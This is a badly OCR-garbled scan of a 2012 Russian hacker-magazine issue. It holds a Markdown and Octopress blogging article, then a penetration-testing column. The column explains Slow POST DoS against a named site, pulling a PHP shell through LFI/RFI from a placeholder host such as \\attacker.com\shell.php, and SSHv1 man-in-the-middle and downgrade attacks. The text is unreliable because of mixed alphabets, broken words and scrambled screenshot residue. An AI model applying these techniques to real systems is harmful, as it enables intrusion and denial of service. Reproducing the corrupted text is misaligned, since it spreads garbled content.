: //dагiпgfi ГеЬаt1. net/gгaPhics,/authoг/ addiSon-bW-425.jpg" аlt="Дхон Грубер'' title='''' /></р>

редакцию<,/1i>

Как пишет сам автор lr4агkdоwп flжон Грубер, идея языка в том, чтобы синтаксис был настолько прост, компактен и очевиден, что размеченный документ оставался бы полностью читаемым и непосвященный человек мог бы даже решить, что перед ним обычный plain text. Как Маrkdоwп добивается такого результата? Возьмем чуть более сложный пример. Представь, что тебе нужно оформить нумерованный список. 0чевидно, что ты поставишь перед каждым пунктOм соответствующий номер. Нужно акцентирOвать внимание на какие-то слова? Ты наверняка сделал это с пOмOщью каких-т0 симвOлOв.

5.

удобный инструиент для создания ве6-документоs в

</oL> <p><img Sгc="http

<I1>сделать иллюстрации</li>

</u1>

и

<Ii>и вставить портрет aBTopa</1i>

<1i>написать статью про Рlагkdоwп</li> <1i>отправить текст

Бесплатный

по сути дела, ты уже знаешь синтаксис lr,lагkdоwп - все прочие нюансы за пять минут осваиваются чтением официального мануала ldзщцLLге

Ь

а, п еl/рщлсt slmзr!!эц п/sщ]l

нА ФигА кOзЕ БАян?

х].

0'кей, язык разметки действительно очень простой и понятный, Но где это можно использовать? Зачем это нужно? Набившая оскомину аббревиатура WYSlWYG давно доказала свою несостоятельность среди прOдвинутых пользователей. Мы пробовали использовать визуальный подход при оформлении материалов на lirkep.] ]], и это был тихий ужас. WYSlWYG-редакторы, даже очень хорошие, работают криво и в случае сложной верстки начинают безбожно глючить. Многие сложные вещи невозможно было сделать в принципе. Не использовать же HTML в чистом виде [хотя чего греха таить, иногда мы так и делаем)? Та же самая wikipedia с самого начала свOег0 существOвания предлагала специально разработанную wiki-разМетку. А любоЙ мало-мальскИ толковый форумный движок поддерживает bbcode или что-то похожее. Проблема одна: испOльзуется, но везде разная, N4arkdown же сразу мноразметка гим пришелся п0 вкусу, в результате чего его взяли на вооружение мнOгие популярные ресурсы. Бесспорно. намного удобней писать комментарий в форуме, используя разметку Магkdоwп, нежели чистый HTML, в тегах которого легко запутаться. Именно поэтому сервисы tumЬlг и роstегоUs поддерживают такой режим ведения блога. Также поддерживают 1,4аrkdоwп-разметку многие Clr,lS: Druраl, Рlопе, RadiantCMS и фреймворки: Django lтребуется установка руthоп-mагkdоwпl, Ruby on Rails |требуется установка BlueC]oth, N4аruku]. Поддержка синтаксиса есть в любом уважающем себя текстOвом редакторе, а опцию для быстрого предпросмотра легко пOдключить в виде плагинов. К тому же есть немало специализирOванных редактOрOв, изначально заточенных для работы с Магkdоwп (ты можешь выбрать подходящий, прочитав отдельную врезку). А интерпретаторы для обработки языка разметки реализованы на любом языке, поэтому, будь твой проект на Python, PHfl Ruby и чем-либо еще, везде ты сможешь предложить пользователям Магkdоwп. flальше больше. Магkdоwп стал настолько пOпулярен, чт0 лег в основу многих сервисов. К примеру, набираюtций обороты стартап sсгiрtоgг,аm позволяет превратить статические файлы, оформленные на Маrkdоwп и выложенные в DгорЬох, в красивый блог [с возможностью подключения любого домена).

-

-

-


PcZONE R_

Подхваченная идея быстро эволюционировала в кругах гиков и выросла в создание таких движков, как ОсtоргеSs (осtоргеss.огg).

о

mdrвmоь,

., sM E*ddn

MARKDOWN И ВЕБ

это, как заявляют разработчики, хакерский фреймОсtорrеss ворк для блогинга. По сути, это генератор статического блога, который гврсит файлы на lr4aгkdown, и выдает на выходе набор HTMLeK, которые и будут являться нашим блогом. Но есть один гив качестве площадки для размещения файлов по ковский нюанс умолчанию предлагается использовать GitHub lеще более гиковый вариант использовать для этого облачное хранилище файлов Amazon SЗ]! Напомню, github.com не только позволяет бесплатно размещать репозитории кода, но еще предоставляет бесплатную платформу для создания блога к каждому из проектов {oages, github,com), Изначально это было нужно, чтобы делать странички для проектов, а мы сделаем целый блог. если Будем считать, что учетка на GitHub у нас уже есть, нет, то это вопрос тридцати секунд. Первым делом необходимо создать репозиторий, в котором будут храниться исходники блога, Репозиторию необходимо дать имя следующего вида: useTname. github.com lпозже можно прикрутить сторонний домен]. После чего потребуется установить на своей машине Осtорге5s {осtоргеss,огgl. В общем виде работа с блогом будет выглядеть так: ставим на локальную машину 0сtоргеss, пишем посты в Магkdоwп-файлики, правим шаблон lесли надо], выполняем в консоли команду для генерации контента и, наконец, заливаем полученный HTlt4L + JS в наш репозиторий на GitHub, Ну а теперь по порядку. 1. Первым пунктом идетустановка Octopress 2.0. Для его работы необходим установленный Ruby'1.9.2. Кроме этого, должен быть еще установлен Git.,Щля начала скачиваем исходники 0сtоргеss, подготавливаем их и устанавливаем:

-

*rё

аге

.эa

Nфfumфt ýyfrar

.rФr.з

soma Mafkdown ýyntax ехаmрlез

sor! elarrla9 of н.rkdоФ syntar that

то lёаrп !or., tolloY th.'k*doи 'Mlp _ bour fuT.xt'dlatoq.

.lфld l.Ё.. ] lrgrt ,, ital].5l Ih| rD //rа|ехl 5ачr..fо.аё п.?л

-

mtзЙрrаrmка_*еrехt

{ББ цц; g 0

уоч .ап

syntat' lInk m

l....lезопе.qmDlеrоf Miildoи rvntaxthrtyou@n€dtиth Reтert,T.ka,пmo,.,follogth.'MaddФOlynlri Linkin'HelDэ

elat.xtI r.r.',tdra ] Iцпkl

щ

:

-

You can alýo Uý.

{f, t.qi iп

Фо.ё./U.

,оOr

-

git

Очень неплохое рещение для Liпчх. хоть

gem

install

и без

альтернатив

Ьчпldег

bundle inStaII

2. Затем устанавливаеi{ стандартную

Tel.{y

0ctopress.

nake inSta1]-

З.

Далее следует настроить octopress на работу с нашиl,{ рgпозитOрием:

гаkе Setup_github_pages

4.

сlопе git://github.com/imathis/octopгess.git

оuг_Ьlоg_fоldег ] cd [оur_Ьlоg_fоldег] [

В процессе выполнения задачи нас попросят ввести URL нашеrо репозитория. В принципе, после этого можно уже публиковаться. Делается это одной командой:

рЕдАктOры для рАБOты с MARKDOWN а

l

то. что Магkdоwп может

__

упрOстить жизнь, несомненно. tlo чтOьы использOвать его прOдуктивно, нужно работать с софтом, который его поддерживает. Спешу обрадовать: привычные редакторы вроде sublimeText, TextMate, Vim и Emacs, которыми ты наверняка пOльзуешься, отлично ладят с Markdown, если их этOму научить с п0мощью плагинов.,щля sublime это sublimetext-maгkdownprevieW (bit.lv/Wd FWo4l и

sublimeMarkdownBuild

(bit.lylltK64j

),

для TextМate

Маrkdоwп.tmЬчпdlе -lv/M87wE5l, Vim markdown и

[bit.

для -Vimlьццдаlkшl

Vim-mаrkdоwп-ргечiеw {bit.lv/

Emacs MfPSzx l, а для Emacs Магkdоwп Mode (bit.lylbMgC0l. Или можно заюзать спdциализи-

-

рOванные редактOры.

о50

а

urlilDоws

MarkdownPad lbit.ll o3hudU| - 0дин из наиболее популярных редакторов под Windows для работы

'

с Маrkdоwп-документами.

Мегаполезной фичей является мгновенный предпросмотр (Live previewl как только ты что-то меняешь в тексте, в правой части 0кна мгнOвенн0 применяются внесенные изменения. Имеется поддержка горячих клавиш, вOзмOжнOсть из!lенить таблицу стилей CSS непосредственн0 внутри прилOжения. Более простой и элегантный инWriteMonkey lbit.lv/ струмент UmIVxl. 0н менее функционален, но благодаря полноэкранному режиму и возможности фокуса на кOнкретном участке текста lклавиша Fбl более удобен для писателей и блоггеров.

-

-

л a' л0

-

LllilUx Пользователямданной UL не так повезиз специализированных

решений можно посоветовать только Reтext lbit.lvlPs7qTK l. Как и в МагkdоwпРаd, тут есть <живой>> предпросмотр, а также функция экспорта в Google Docs и форматы HTML, РDF и ODT. С другой стороны, можно воспOльзоваться пOпулярными редакторами Geany lbit.lv/4Cf Bbi) но это прои Kate lbit.lv/15lniDl ст0 универсальные инструменты для работы с кодом, поддерживаюшие Маrkdоwп. Поэтому такой вариант больше подойдет ве6-девам. В обоих случаях есть пOдсветка синтаксиса, автOматическая подстанOвка завершающих тегов HTML/XML, простой менеджер прOектов, свертывание кода, большое количество кOди р0 вок,

-

i,lA(

I_

Рекомендчю обоатить внимание на бесплатный редактор Mou (bit.lylг47fGsl. 0н поддерживает подсветку синтаксиса, предпрOсмотр в реальном времени, полноэкранный режиil, автOсOхранение, инкрементальный поиск, экспорт в HTML, пользовательские темы,

пользовательские Сss-стили, испOльзуемые для предварительнOг0 прOсмOтра. 0чень функциональным решением является также платный редактор MultiMarkdown Соmроsеr от создателя lbit.lv/PliRqKl диалекта MultiMarkdown. 3десь из коробки доступны всякие вкусности вроде таблиц и вывода в различные форматы. Правда, есть у программы и 0дин за нее придется выминус ложить 9,99 долларов.

-

-

хАкЕр

09 /1641 2012


знакомься. Это Магkdоwп

стOмнOму дOмену, т0 это легко сделать, воспOльзовавшись простой инструкцией {ьit.tlмwgпзt] На первый взгляд такой подход может пOказаться странным, но на самом деле он предельно удобен. Сайт работает очень быстро, потому что состоит из статических файлов и размещается на надежных площадках. Благодаря использованию GitHub любой может предложить свои изменения в посты и ты легк0 можешь их применить. Сам Octopress предлагает отличный НТМL5-шаблон с массой плюшек вроде быстрого подключения

-

0чень функциональное

внешней системы комментариев [например, Disqus'al. Конечно, это история не про обычных людей, но мы о них и не говорим.

рещение для твоего уютного блохика

MARKDOWN: ЧТ0 ДАЛЬШЕ?

гаkе gen*deploy

Простая идея постоянно эволюционирует. Первая реализация, написанная flжоном Грубером, являлась обычным скриптом на Регl. По мере того как новый язык разметки обретал популярность, пOявлялись нO8ые реализации, написанные на С#, С, Соmmоп Lisp, Haskell, Java, JavaScгipt, Lua, newLlSP, Регl, РНР, Руthоп, Ruby, scala сторонними разработчиками, которые ориентировались на первую реализацию, ставшую своего рода стандартом. Помимо реализаций на разных языках программирования, появились еще лрилOжения, расширяющие синтаксис ltlaгkdown дополнительной функциональностью, такие как lr4ultiMaгkdown и pandoc. !иалекты Markdown позволяют работать с документами из множества файлов. автоматически делать таблицы, собирать библиографии, вставлять математику на MathML и комбинировать код с другими языками верстки, включая LaTeX, HTML и прOчие. Расширенные диалекты умеют автOматизировать различные вещи, например прOставлять правильную типографику. Кроме того, выводить можно не только в HTltlL, но и в РDF, RТt, 0DT и даже mап-страницы |люди. хоть раз видевщие синтаксис языка tгоff, оценят). Все это позволяет использовать lt4агkdоwп в самых разных целях: писать дOкументацию, книги и целые сайты, ПопулярностЬ этого изящного синтаксиса разметки набирает обороты по всему миру. Честно сказать, Магkdоwп как наркотик попробовав один раз написать пост на нем, ты вряд ли вернешься к обычному HTML. Использовав Магkdоwп при написании этой статьи, я могу не только преобразовать ее в РDF, но и без лишних трудозатрат опубликовать на сайте. А редакция, подсев на Магkdоwп, уже всерьез задумалась о разработке простых скриптов, чтобы кOнвертировать текст в файл верстки используемой в издательстве программы lnDesign. Я этому не удивляюсь.

или двумя:

гаkе genenate nake deploy lt4ожно до deploy выполнить еще гаkе ргечiеw, в результате чего запустится локальный веб-сервер на адресе http://0.0.0.0:4000, где можн0 пOсмOтреть, чт0 же нагенерировал 0сtоргеss. Если необходимо что-то подправить в конфигурации, то нужно об-

4.

ратиться к файлу _config,yml. Теперь пришло вреr4я создания первого поста:

гаkе пеW_роst["Название поста''] В папке sоuгсе/_роsts/ появится файлик с текущей датой и за-

головком поста, в формате Магkdоwп. Берем любой понравившийся Магkdоwп-редактор, редактируем файл и публикуем п

ост:

git git git

add

-

commit -m "Inltia] post'' push оrlgiп sочгсе гаkе gепепаtе паkе deploy

все, можно переходить по адресу блога и проверять, как опубликовалась первая запись. Если нужно привязать свой блог к ка-

т

ппm

ДРУГИ Е ГЕНЕРАТOРЫ СТАТИЧЕСКИХ САЙТОВ

.0тличный онлайн-редактор, позволяющий

l

надо сказать, что 0сtоргеss не единственный инструмент для генерации статического контента. Хотелось бы остановить твое внимание еще на двух инструментах: Роо|е {hitbUcket. огg/оЬепsоппе/рооlеl и BlazeBlogger {blaze.blackened.cz). Poole генератор статических сайтов, использующий маrkdоwп. 0н написан на python и для работы ничего, кроме него, не требует. Работать с ним очень легко: ты создаешь содержимое ве6-страниц с помоlлью Маrkdоwп poole - и превращает их в простой и красивый сайт с навигационным меню. Принцип работы несложен: програм1.1а берет файлы из директории input и копирует их в директорию oUtput, при этом все файлы с расширением md, mkd, mdown или mаrkdоwп конвертируются в HTML с pa9e.html в качестве каркаса. Если ты хочешь заменить внешний вид сайта, то необходиttо будет подредактировать файлы pa9e.html и iпput/poole.css. Чтобы обновить, изменить, добавить контент, необходимо выполнить;

> рооlе.ру --bulld После чего Poole эаново сгенерирует твой сайт, Еще один инструмент для создания статического сайта BlazeBlogger. flля своей работы он не требует ни баз данных, ни выполнения скриптов на стороне сервера. Все, что нужно, это установленный Регl-интерпретатор.

-

хлкЁр

о9 /1ь1,/ 20J2

-

-

для создания контента также используется Markdown, так

.

чт0 ты можешь создавать свой блог в любом понравившемся маrkdоwп-редакторе. К основным воэможностям относятся: создание валидных HTML 4.0,1 или XHTML '1.1 страниц и RSS 2.0 фидов; генерация помесячных и погодовых архивов,

поддержка тегов. Инструмент позволяет создавать как блогпосты, так и просто страницы, позволяет быстро поменять тему, сSS-стили или локализацию. Подробную информацию по опциям всех утилит, идуtлих вместе с BlazeBlogge1 ты можешь посмотреть на официальном сайте.

(охранять документы в DropЬох и иtпортировать хз неrо: dillingeria; . расщирениедля Google Сhrоmе, Firеfox и Thunderbird, позволяюlцее писать письша, используя llarkdoWn-paзMeTKy: bit.lylJW2!Y1l.


в3лOlti/ЕАSY НАСК

Алексей (GrеепDоgD Тюрин, Di9ital 5ecurity ltwitteLcom/antyurin]

SY

ш В(я инфорtация предOставлена

исключительно

ознакOмительных целях, Ни редакция, нl автор не не(ут 0тветстзеннOсти

в

залюбой возвожный вред, причиненный tатериалахи данной статьи.

из].{ЕнЕниЕ пАРсЕРА В WIRESHARK :Wiгеshагk

-

рекрасная тулв десятку самых необходимых хак-софтин. Конечно, ее главным плюсом являются разнообразнейшие диссекторы, то есть <парсеры> тех или иных прOтOколов, которые Wiгеshагk ,.интеллектуально> применяет в зависимости от протоколов, портов и прочего. Но если с низкими протоколами (|Р, ТСР, ARP, Еthегпеt] чаще всего все достаточно просто, то с верхними, уровня приложений, частенько возникаюттрудности. 0собенно когда используются нестандартные связки [инкапсуляцияl протоколов или нестандартные порты. На самом деле это небольшая проблема. Хотя некоторые и не в курсе, но Wiгеshагk позволяет четко указывать, какой уровень и каким диссектором парсить. Все, что требуется, выделить (странный> пакет по правой кнопке, выбрать <Decode as...>

анализатор протоколов [или сн ифферl. за, во многом незаменимая. 0на не случайно входит

П

-

указать необходимый протокол. В качестве практического примера могу отправить к разбору процедуры аутентификации клиентом на MS SQL сервере без включенного обязательного шифрования трафика. и

Емм

пй. hr.. 1656.шч1192.16Е.79.1 9з' 1б.124Оз1192.168.79.128 9з6lffi.з2]9s192,168.79.1 gз7 аФ.qsL$192.!6а.79.7 9зЕ tФ. s2Фr2192.1fi.79.128 192.168.79.128 ffi 9зз

99 1Ф6.124озоа2.168.79-128

мйп 192.168.79.128 192.15Е.79.1 192.1б8.79.1

192.168.79.1zE 192.168.79.128

192.168.79-1 192.168.79.1

Рrфсоl ио c]left: Епсгяtеd sýнб кр ssh > 9227 [кк] ssнц sсгчеl: EncDrpted кр 9227 > sgh [кк] ssнй c]lёft: Епсцrytеd кр 59h > 9227 [кк] ssм sегчеr: Е*црt€d 9227>5sh[KK] ]eft : Еftrурt€d

c'I

ssh > 9227 tв7 sеfчеa: Епсцrytеd

cllml

ErcDryted

ssh > 9227 [кк] sеrчеr: Ercrypted

c'l{efr: ЕrcгtrМ l Гfuм Г-q..__l _l

Г-н""

Г-Е_lГ-БГ_-lГlм l

Выбираеи необходимый дхссектор для конкретнOг0 пOрта

прикрутить sOL},lAP к BURP SUITE

f

flанный пост трудно назвать задачей, скорее это некая приятность

для пентестера, которой я и хочу поделиться. Ползая мехду различными проксиками типа WеЬsсагаЬ, ZAB Вчгр и так далее, я в итоге [или пока чтоl остановился именно на Вчгр'е. Имхо, WеЬsсаrаЬ подводит количество багов и отсутствие некая недоразвитость... В то же время новых версий, а ZAP такая тулза, как sqImap, которая используется для продвинутой раскрутки SQL-инъекций, тоже очень хороша и местами приятно выделяется на фоне конкурентов. Хотя с ней есть некоторые с увеличением функционала количество трудносtи. А именно консольных параметров разрослось до неадекватного :]. То есть без GUl с ней работать не оченьудобно. Хотя надо отметить, что пучок сторонних гуев к ней имеется. Но дело не в этом. Чисто почеловечески приятно, Когда у тебя <все под рукой> и когда работа по возможности автоматизирована. И похоже, не я один так думаю,

-

-

Как и у собратьев Вuгр'а, у него самого есть система добавления дополнительных плагинов, что иногда очень выручает {но об этом лучше написать отдельную статью). Так, добрый пентестер под ником сгOhп взял и реализовал аддон к Вчгр'у- GUlпрослойку для sqlmap. Теперь, прикрутив плагин, мы должны всего лишь выбрать необходимый URL, кликнуть правой кнопкой и отправить его в гуишку. А далее уже работать с sqlmap через этот гуи, В качестве дополнительного бонуса гуя сейчас имеется поиск по выводу и его экспорт в файл lTo есть лучше обыкновенной виндовой консолиl. С точки зрения прикрутки плагина, все, что нам требуется, выполнить следующие действия: 1. Скачать плагин с goo,gl/tNf9M.

-

2. РазархивироватьеговпапкукВчrр'у.

з.

ИзменитьsUitе,Ьаt на:

java - classpath Ьuгрsчltе_паre. jаг; plugin_nare. jаг

Ьчrр. StагtВчгр

хАкЕр09 /164/2012


Хакерские секреты простых вещей

ПРОВЕРИТЬ УСТОЙЧИВОСТЬ ВЕБ-СЕРВЕРА К SLOW POST рЕшЕниЕ В прошлый раз мы начали разбирать классические и не очень классические_DоS-атаки на веб-серверы. Сегодня продолжим, пOэтOму я 0пускаю ввOдную часть,

ugdg*

Итак, позвольте рассказать про атаку siow НТТР POST DoS. Название ее определенно говорящее, Идея атаки в том, чтобы уложить НТТР-сервер за счет использования (медленных" POSTзапросов на сервер. Так, в заголовке РOSТ-запроса клиент передает серверу Content-Length большого значения, а после удачного запрOса начинает 0чень медленно передавать данные. Веб-сервер получает такоЙ РOSТ-запрос, видит в нем content-Length и жлет сOOтветствуюцее значение данных в теле запроса, но, как я уже сказал, данные прихOдят к нему медленно, по чуть-чуть. Таким образом, атакующий, имея под своим контролем небольшое количество хостов lвозможно, даже один), может создавать Iакие (висящие кOннекты> и израсхOдOвать ресурсы сервера, так чт0 тOт не смOжет 0твечать легитимным клиентам. Исчерпавшиеся ресурсь могут быть различны. Например, можно занять все потоки ИлИ занятЬ И1,4И всю паМятЬ.

lfr НПР

attackveBion 3.6 (slow headers and ýlow

POST)

|-Б_]i

Е lЕП

Test type and destinatbn Attack

type

slow PoST

URL

://defcon-russia.rUlrules,php

Proxy

Gепеrаl раrаmеtеrg

trlТГ(s) lюБ-П

connections

Соппесtiоп Timeout User

rate

agent

IMozilla/a.0 (compatible; MSIE 7.о; WindovJs NT 5.1 Diagnostics

Е

length FOоOоo

Rапdоm

PoST field

Е РRОАСПЧЕ RiSK

hr.p '9i,

> >

3919 >

ftlD rnr]

trni (к] sф.0 л.k frtp t{x] s.q_1 л.ь1 Hii.lrфo Lб0 of r r.aj.*]d рф] L&r] 5.ф1 л.k.r2r llьбя]5 t.ф 3915

Itе s.Fft fttр , .rr5 Jfte ,.щft htp > саБ tEP s.sф

d : r.rgфrd рФ] lxr] srFr е\.}2, frп.6$т L.ф ф l ...l9d]d рф] > .9r5 tKK] I(p l.sr.nt of а ге.59.Ф].d Polj htip > зеr5 (tкl slq:Lgщz щ::r,_tg{ trrp

Wй . rn-,

i:1, to(.tr

;iii.i"]:",l1',i;' ryo;i

ililr.n|oi

, Nn

;йr!,

]...й}i

i,;;

Заголовок отправлен. данные Iqjv...l передаются. Г|овторяем много раз = сайт в дауне :l

как видно, данная атака основывается на (уязвимостях> самого протокOла НТТР, Ведь мы не вь лезаем за рамки протокола, а эмулируем мнOжественнOе пOдключение медленных клиентов. То есть с тOчки зрения лOгOв, если все настроить правильно, жертва мOжет дOлг0 не дOгадываться 0 причинах падения ее сервака.

такая (нормальность> атаки рOждаетдостаточно неприятную проблему * от нее непросто защититься. Если посмотреть более общим взглядом, то можно заметить, чт0 данная атака в0 мнOгOм гохожа на описаFFь й в rрошлоч номере Slоwlогis,,Д,а и вообще вспоминаются разнообразнь е олдскульные атаки, типа SYN-flood'a, история повторяется на новом уровне, Но даже с учетом большого сходства s оwlогis и Slow POST'a они достаточно различны с точки зрения атакующего потенциала. Как минимум если, используя Slоw]огis, можно завалить в основном Арасhе-подобные веб-серверы, то slow POST'y пOдвержены почти все основные серверь]. Это и тот же Apache, и все версии llS, и что-то альтернативное вроде lighttpd, Что касается пg пх, т0 ситуация с ним не совсем ясна, Чисто теоретически он не должен быть подвержен такой атаке, но фактически. с учетом тех или иных настроек его самого и 0С, на которой он крутится, иногда пOлучается ег0 завалить. Что еЩе.страшно>, как и Slоwlогis, реализовать атаку не составляет труда, используя любой скриптовый язык.., Но изврацаться нам ни к чему, так что отправляемся за официальнOй тулзой от OWASP

-

Kunoo,

Attack-specific parameters сопtепt

Ёrj:j-,

payload

Randomis€

quit

Настройка тулзы от oWAsP для тестирования

l

-

-

рАскрутить LFl д0 RFI пOд ос WINDOWS ,

рЕшЕниЕ

LFl lLoca Fi е lnclude]

одна из очень распространеннь х вебуязвимостей. Суть ее в том, что при некорректной фильтрации ввода или ее отсутствии (либо какой-нибудь логической дыре) мы иVеем вOзмOжtsOсть подгDуJито произвольнь,Й скOИl'1l, l0торhlЙ испOлнится на веб сервере. Простейший пример скрипта на РНР будет выглядеть следующим образом:

-

...?

$GET[

.file'];

>

Таким образом, если мы передадим так0[,4у скрипту в параметре fi е имЯ какого-т0 еще РНР-скрипта, то РНР при его испOл нении пOпь тается пOдгрузить скрипт из параметра и исполнить его. Хорошо, но нам, как атакующим. ведь интересно не просто что-то подгрузить из функционала веб-приложения, нам ведь

нужен шелл. И здесь у нас возникает желание подгрузить скрипт

с нашим контентом. Как это сделать? Способов есть несколько, Конечно, самь й простой наш РНР-шелл на какOм - расположить

.:.'ono

кАкЕр

09 /]641 20]2


Взло].{/ЕАSY НАСК нибудь еще ве6-сервере

http: //atta

с

и

указать полный путь до файла в виде:

можем указать порт, по которому он к нам будет коннектиться:

\\attac kег.

kег . соm/ She11 . php

соm:

зlз37\s

he11 . php

Но данный способ срабатывает нечасто, так как в конфигах РНР есть опция, запрещающая подгрузку удаленных файлов. Казалось бы, все, здесь нас больше ничего хорошего не ждет и надо искать другие, локальные пути. fla ведь запреты запретами и теория теорией, а в жизни у нас есть топор в рукаве :]. Вообще, мне лично очень интересны кросстехнологичные багифичи. Oб одной из них мне недавно рассказал Алексей Синцов [вот ведь, на все руки мастер:)), чем меня очень лорадовал. Фича оказалась достаточно простой, но позволяющей обойти упомянутый запрет на загрузку файлов с удаленных хостов. это, во-первых, Все, что требуется для обхода ограничения, чтобы веб-сервер с РНР был запущен под Windows, а во-вторых, указать путь до нашего файла в виде:

Таким образом, lt4ы можем пробрутить порты и найти, какой из них разрешен. Здесь важно отметить, что если указан порт, отличный от стандартного, то подключение уже будет происходить не по SMB, а по WebDAV. Итак, мы имеем такую последовательность действий: 1. Понять, что 0С -Windows. 2. Поснифать на аttасkеr.соmтрафик и, брутя порты,

\\attac kег. com\she11

и вO3никАЕт жЕлАниЕ пOдгрузить скрипт с

3. 4. 5.

-

.

php

То есть как будто до виндовой шары. Как ни странно, данный способ работает. И похоже, потому, что схема подключения здесь не указывается. На всякий случай еще раз отмечу, что данный способ винда, так как только в ней действует сработае1 только если 0С

-

данное <сокраlцение> на уровне АРl. Но и это еще не все. 0чень часто веб-серверы находятся за файрволами, а потому обратиться напрямую по шаре через интернет к веб-серверу нам вряд ли удастся. Но интересно, что мы

пOнять, где есть <(дырка>_

Поднять на данном портуанонимный WebDAV или шару, Выложить на нее шелл и подгрузитьего. Радоваться.

кАк эт0 сдЕлАть? спOсоБOв Есть нЕскольк0. нАши1.,| KOHTEHTOJI{.

пOлучить лOгин и пАрOль 0т SsH

WтшI

из основных протоколов для удаленного заlцищенного SSH - один взаимодействия в Сети, является одним из главных админских интерфейсов. И если атаки на другие интерфейсы [Web, SSL, RDP] мы уже разбирали в Easy Hack, то SSH почему-то обошли стороной. Что ж, исправляемся. Итак, давай представим простую ситуацию: есть сетка, есть админ, есть сервер с открытым SSH, которым активно пользуется админ для удаленного администрирования. Нам же необходимо получить доступ к данному серваку. И как же это сделать? 0твет: никак:]. Ну, в смысле не совсем никак, но сейчас чаще всего точно не через SSH. Здесь слабое звено стоит искать либо в других

9,з77 7,155 1,572 814

129

-

сервисахlсервера,

либо в самом админе... Причины

-

высокая за-

щищенность последней версии SSH на уровне протокола и малое количество эксплойтов под П0... Хотя я, наверное, перегибаю Все же пути есть. Ьгutеfогсе. Тогда ТНС Конечно, первое, что приходит на ум, Нуdга нам в руки и в бой! Но возможно, это и не потребуется, если нам повезет. А наше везение во многом зависит оттог0, насколько

палку, говоря

<<никак>>.

-

стар атакуемый сервер. Наш шанс в том, что он будет поддерживать SSH версии 1. Эта версия протокола SSH имеет серьезную проблему, которая позволяет нам, атакующим, провести классическую man-in-the-middle атаку и в итоге видеть незашифрованный трафик. В общем виде атака представляет собой следующий процесс: 1. lt4ы проводим АRР-спуфинг междуадмином и сервером и таким обраjом контролируем передаваемыйтрафик. 2. Админ коннектится насерверпоSSН. 3, Сервер отправляетсвой открытый ключ клиенту. 4. Мы подменяем этот ключик на свой. .5. КлиентSSН админа вбtбирает шифрование, генеритсессионный ключ, шифруетего открытым ключом сервера и отправляет его.

61.161.146.з4

Сhlп.UпlсфLi.опiпgрiФiп..

l

ssн,1.6.naýE,l&>з.l

Зьrоуrпе

Серверов, поддерхивающих ssH версии t, ец€

6.

7.

много

Так как клиентзашифровал сессионный ключ нашим открытым ключом, то мы его расшифровываем и передаем дальше серверу

3ашифрованноесоединение наосновесессионного ключа установлено. Но мы знаем этот ключ, а потому можем расшифровывать проходящий через настрафик.

Этот процесс и показан на рисунке. Фактически данную атаку можно реализовать с помощью Еttегсар или Cain. как много осталось серверOв, Теперь же самOе важное которые поддерживают SSH v]? Точно я не скажу, но во время проведения пентестов они систематически попадаются. Сама атака

хАкЕр

09

/]64l 2012


Хакерские секреты простых вецей

возможным нестандартным железкам [например, контроллерам], безопасностью которых производители плохо занимаются. Как практический пример посмотри на shоdапhq,соm. но и это еще не всё. На самом деле не все и не сразу перешли на SSH v2, был и переходный период, когда серверы для обратной сOвместимOсти пOддерживали и первую, и вторую версии SSH. и таких серверов тоже есть пучок, и их мы тоже можем атаковать. Здесь нам поможет SSH Dоwпgrаdе атака. Чтобы все сразу стало ясно, следует сказать о том, как сервер показывает, какие версии SSH он поддерживает. Все очень просто. При подключении по SSH сервер открытым текстом отвечает клиенту одним из трех видов сообщений:

-

подключение

к

ssн-1.99

и по

5sHv'|,

и по

v2

. . о

SSH-I.5 SSH-1.99

только SSH версии - поддерживается поддерживаются SSH версии и 'l, и 2; SSН-2.0-только версия 2. 1;

То есть, просто подключившись

схеtка

ai,llT1,1

для ssH версии

1

стала общеизвестна году так в 2000-2001 -м. А потому почти все новые серваки и железки поставляются уже с правильной версией ssН. Но в то же время всякое пятилетнее оборудование может быть уязвимо. 0собенно это относится к сетевому оборудованию и все-

к серверу, мы можем понять, насколько он уязвим. Принцип работы SSH Dоwпgгаdе, я думаю, теперь пOнятен: кOгда клиент коннектится к серверу, мы подменяем ответ от сервера [опять же используя MlTM] с текста <SSH-1.99> на <SSH-1.5>. Клиент думает, что сервер поддерживает только SSHv'], и пOдключается, испOльзуя его. конечно, здесь еще многое зависит и от настроек клиентского П0. Но, например, тот же де-факто стандартный виндовый SSHклиент PuTTY поддерживает SSH версии и 2, и 1 lcM. скриншотl. Практическую реализацию показывать не буду, так как Cain, например, проводит эту атаку на автомате [dоwпgгаdе + pass sniff = ARP-SSH-,1], когда используется АRР-спуфинг, Если же есть желание самOму потренироваться, то вот линк goo,qrhqgZY.

-

нАстроить пOд сЕБя },IETASPLOп FRA},IEWoRK coNsoLE Metasploit Frаmеwогk стал одним из главных пентестерских инструментов. Oно и понятно: в него портируется много сторонних тулз, паблик эксплойты постоянно добавляются, то есть проект постоянно растет расширяется функционал и развивается,

-

Несмотря на то что у МSF есть несколько видов GUl, очень многие все равн0 пOльзуются его консольной версией msfconsole. Не так давно я обнарухил, что его можно настроить под себя и сделать информативней. НапримерI при запуске msfconsole мы видим приглашение <msf>>, которое не очень-то полезно. Но оказывается, все можно изменить. В msfconsole есть параметр, который отвечает за то, что будет отображаться. И имя ему- PROlr4PT. Установка значения переменной осуществляется стандартными командами: <set> настройка будет применена в рамках данной сессии, -настройка <Setg> <навсегда>, то есть сохранится в пользовательском конфиге. Например, следующей командой мы указываем выводить lPадрес в начале каждой команды [что очень удобно, так как сразу понятно, что выводить в LHOST для модулей):

-

set

PROMPT

%J %L %S %Т %U %D %Н

путь локальной директории;

hostname атакующего; количество запущенных модулей [.job]; lР-адрес атакующего; количество имеющихся сессий; timestamp; имя пользователя, запустившего msf.

Кроме того, есть еще дополнительные фичи. Во-первых, для %Т можно указывать формат временных MeToKl используя еще одну

переменную РгоmрtТimеFогmаt, с указанием параметров (o/od месяц, %у- год и так далее]. Во-вторых, для удобства день, %m имеется вOзмOжнOсть испOльзOвать цвета их достаточно много. и именуются они по первым трем буквам названия на английском: %yel желтый, %геd красный и так далее. Ну и кроме того, все, что начинается не с %, будет отображаться как текст. Таким образом, мне кажется, удобная консоль будет иметь настройку [также см. скриншот}:

-

set

-

PROMPT %L %геdsi%S тi%J

%L

В итоге Mbi получим примерно следующее: 192 . 168. 0.

1 >

Кроме %L, которая oTBeTciBeHHa за вывод локального lРадреса машины, еще и другие. flалее полный список: _есть

хдкЕр

09 l1b|+l

2012

Локальный lB количество сеGсий иjоЬs'ов


взл0],l/ЕАSYнАск

ОРГАНИЗОВАТЬ ТУННЕЛЬ ЧЕРЕЗ XSS рЕшЕниЕ

